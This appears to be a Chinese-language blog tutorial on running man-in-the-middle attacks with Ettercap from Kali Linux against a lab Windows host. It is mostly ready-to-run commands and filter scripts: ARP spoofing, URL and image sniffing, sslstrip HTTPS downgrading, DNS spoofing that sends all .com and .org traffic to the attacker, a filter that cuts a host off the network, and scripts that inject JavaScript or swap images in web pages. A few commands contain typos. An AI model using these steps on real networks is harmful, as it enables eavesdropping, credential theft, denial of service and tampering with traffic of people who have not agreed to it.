zoukankan      html  css  js  c++  java
  • Ettercap 实施中间人攻击

    中间人攻击(MITM)该攻击很早就成为了黑客常用的一种古老的攻击手段,并且一直到如今还具有极大的扩展空间,MITM攻击的使用是很广泛的,曾经猖獗一时的SMB会话劫持、DNS欺骗等技术都是典型的MITM攻击手段.在黑客技术越来越多的运用于以获取经济利益为目标的情况下时,MITM攻击成为对网银、网游、网上交易等最有威胁并且最具破坏性的一种攻击方式.

    主机列表 IP地址 网关地址 主机作用
    Windows 10 192.168.1.2/24 192.168.1.1 被害主机
    Kali Linux 192.168.1.9/24 192.168.1.1 攻击主机

    抓取内网流量

    该方法是最常用的一种攻击方式,主要可以实现对内网主机发起ARP欺骗,从而截取内网主机的流量,但该方法只能截获未加密的数据流加密后是无法破解的,以下例子将演示流量抓取与分析.

    开启APR欺骗: 首先在kali linux上执行以下命令,开启ARP欺骗.

    root@kali:~# ettercap -i eth0 -T -M arp:remote /192.168.1.2// /192.168.1.1// -q
    
    	-i eth0           #指定网卡接口
    	-T                #文本模式显示
    	-M                #指定为双向ARP欺骗
    	/192.168.1.2//    #为要攻击的IP地址
    	/192.168.1.1//    #本地的网关地址
    

    截取目标RUL: 上面终端不要关闭,启用urlsnarf工具指定主机访问的URL.

    root@kali:~# urlsnarf -i eth0 |awk '{print $1 " ---> " $7}'
    
    192.168.1.2 ---> http://www.mkdirs.com
    192.168.1.2 ---> http://www.baidu.com/
    192.168.1.2 ---> http://www.cnblogs.com/lyshark
    

    截取目标图片: 当然也可以使用driftnet工具截取指定主机的图片流.

    root@kali:~# driftnet -i eth0
    

    ## HTTPS降级嗅探

    对SSL流量的嗅探,可以使用sslstrip这个工具,它的原理就是把所有的https流量降级为http流量,相当于一个中间人的角色,它与服务器建立正常的https连接,而与浏览器则使用http连接,使用时需要本机开启流量转发,将80端口的http流量同时转发到10000端口上,在10000端口上使用sslstrip来监听即可:

    1.通过命令收集局域网的IP地址信息,和网关等.

    root@kali:~# ifcofing       #命令查看当前网关
    root@kali:~# netdiscover    #获取到当前目标IP
    

    2.开启内核转发功能保证攻击过程中被攻击者不断网.

    root@kali:~# echo "1" > /proc/sys/net/ipv4/ip_forward
    

    3.使用iptables把80端口的流量转发到sslstrip监听的10000端口上.

    root@kali:~# iptalbes -t nat -F
    root@kali:~# iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 10000
    root@kali:~# iptables -t nat -A PREROUTING -p tcp -–destination-port 80 -j REDIRECT –to-ports 10000
    root@kali:~# iptables -t nat -L
    

    4.启用sslstrip并启动ettercap对目标主机进行arp攻击.

    root@kali:~# sslstrip -l 10000
    root@kali:~# ettercap -i eth0 -T -M arp:remote /192.168.1.2// /192.168.1.1//
    

    此时当用户浏览的网页中包含https协议,会被转化为http协议的请求.但是sslstrip也不是万能的,假如网页中没有https,但是js代码绑定了跳转到https的协议请求的事件,那么sslstrip就失效了.如果用户打开网页的时候请求就是https,会导致证书认证失败,网页一直打不开.

    DNS局域网投毒

    该配置主要用于实现控制局域网中网络的访问,例如可以指定将所有访问baidu.com的请求转到访问192.168.1.9这台主机上,我们可以在这台主机上配合后门,这样的话所有内网主机都会默认访问我们的网址,从而实现局域网中网站页面的重定向.

    1.安装并启动apache服务程序,后期我们要将页面跳转到kali的http服务上.

    root@kali:~# echo "hello lyshark" > /var/www/html/index.html
    root@kali:~# systemctl restart apache2
    

    2.通过使用netdiscover命令获取到主机信息,这里主要来确定一下192.168.1.1是网关,而192.168.1.2为被攻击主机.

    root@kali:~# netdiscover
    
    Currently scanning: 192.168.1.0/24   |   Screen View: Unique Hosts
     3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180               
     _____________________________________________________________________________
       IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
     -----------------------------------------------------------------------------
     192.168.1.1     11:72:se:c7:se:af      1      60  TP-LINK TECHNOLOGIES
     192.168.1.2     ac:3s:ca:xf:g1:w8      1      60  Dell Inc.
     192.168.1.9     f2:1e:28:4e:4c:s4      1      60  kali linux.
    

    3.配置跳转地址,将所有访问.com,.org的网页请求,全部跳转到本机的apache上.

    root@kali:~# ifconfig
    eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
            inet 192.168.1.8  netmask 255.255.255.0  broadcast 192.168.1.255    确认自身IP地址
    
    root@kali:~# vim /etc/ettercap/etter.dns 
    ################################
    # microsoft sucks ;)
    # redirect it to www.linux.org
    #
    
    *.com A 192.168.1.9          #添加跳转页面,意思是只要是.com结尾的,跳转到本机IP
    *.org A 192.168.1.9          #添加跳转页面,意思是只要是.com结尾的,跳转到本机IP
    
    microsoft.com      A   107.170.40.56
    *.microsoft.com    A   107.170.40.56
    www.microsoft.com  PTR 107.170.40.56      # Wildcards in PTR are not allowed
    

    4.开启转发,并启动中间人攻击,此时被攻击主机访问指定规则页面,都会跳转到我们的网站上.

    root@kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward
    root@kali:~# ettercap -i eth0 -T -P dns_spoof -M arp /192.168.1.2// /192.168.1.1// -q
    root@kali:~# ettercap -i eth0 -T -P dns_spoof -M arp /// /192.168.1.1// -q
    

    ## 禁止主机上网

    1.编写一个过滤脚本,下面的脚本名为lyshark.txt,内容如下.

    root@kali:~# vim lyshark.txt
    
    if (ip.src == '默认网关') {
       kill();
       drop();
       msg("kill all");
    }
    if (ip.src == '被攻击主机IP') {
       kill();
       drop();
       msg("kill all");
    }
    

    2.编译成ettercap可以识别的二进制的二进制文件.

    root@kali:~#  etterfilter lyshark.txt -o lyshark.ef
    

    3.使用ettercap加载此脚本,欺骗全网段可以使用///代表.

    ettercap -i eth0 -T -F lyshark.ef -M arp:remote /192.168.1.2// /192.168.1.1//  // 欺骗指定主机
    ettercap -i eth0 -T -F lyshark.ef -M arp:remote /// /192.168.1.1//             // 欺骗全网段
    

    向网页注入代码

    该功能可以实现向网页中注入特定的代码.

    1.编写一个过滤脚本,下面的脚本名为lyshark.txt,内容如下.

    # 拦截受害者发送的请求,将报文压缩方式由gzip降级为不压缩
    if (ip.proto == TCP && tcp.dst == 80) {
        if (search(DATA.data, "Accept-Encoding")) {
               pcre_regex(DATA.data,"(Accept-Encoding:).*([
    ])","$1 identity$2");
               msg("chage encoding");
        }
    }
    
    # 对于服务器响应,向head中注入js
    if (ip.proto == TCP && tcp.src == 80) {
        if (search(DATA.data, "<head>")) {
            replace("<head>","<head><script>alert('hello lyshark')</script>");
        }
    }
    

    需要注意,这里要对请求头的Accept-Encoding进行篡改,否则响应默认使用gzip编码的,这样我们直接注入明文js是无效的,将编码方式降级为Identity,服务端会返回明文报文,同时客户端也不会再对报文进行一次解码.

    2.编译成ettercap可以识别的二进制的二进制文件.

    root@kali:~#  etterfilter lyshark.txt -o lyshark.ef
    

    3.使用ettercap加载此脚本,欺骗全网段可以使用///代表.

    ettercap -i eth0 -T -F ig.ef -M ARP:remote -w network.pcap /192.168.1.2// /192.168.1.1//
    

    替换页面数据

    1.以下脚本可实现将页面中所有img src=相关的图片全部替换成,指定网址中的图片.

    if (ip.proto == TCP && tcp.dst == 80) {
       if (search(DATA.data, "Accept-Encoding")) {
          replace("Accept-Encoding", "Accept-Rubbish!"); 
          msg("zapped Accept-Encoding!
    ");
       }
    }
    if (ip.proto == TCP && tcp.src == 80) {
       replace("img src=", "img src="http://www.mkdirs.com/lyshark.jpg" ");
       replace("IMG SRC=", "img src="http://www.mkdirs.com/lyshark.jpg" ");
       msg("Filter Ran.
    ");
    }
    

    2.编译这个文件.

    etterfilter exe.filter -o exe.ef
    

    3.使用ettercap调用过滤脚本发动ARP攻击毒化目标主机的ARP缓存

    ettercap -Tq -i wlan0 -F exe.ef -M arp:remote /192.168.1.9/  /192.168.1.1/
    

  • 相关阅读:
    Django:RestFramework之-------视图
    Django:RestFramework之-------分页
    Django:RestFramework之-------序列化器
    Django:RestFramework之-------解析器
    Django:RestFramework之-------认证
    【WCF--初入江湖】02 WCF契约
    【WCF--初入江湖】01 WCF编程概述
    【WCF--初入江湖】目录
    【MongoDb--初入江湖】windows下安装MongoDb
    【Asp.Net-- 杂七杂八】的代码
  • 原文地址:https://www.cnblogs.com/LyShark/p/10637614.html
Copyright © 2011-2022 走看看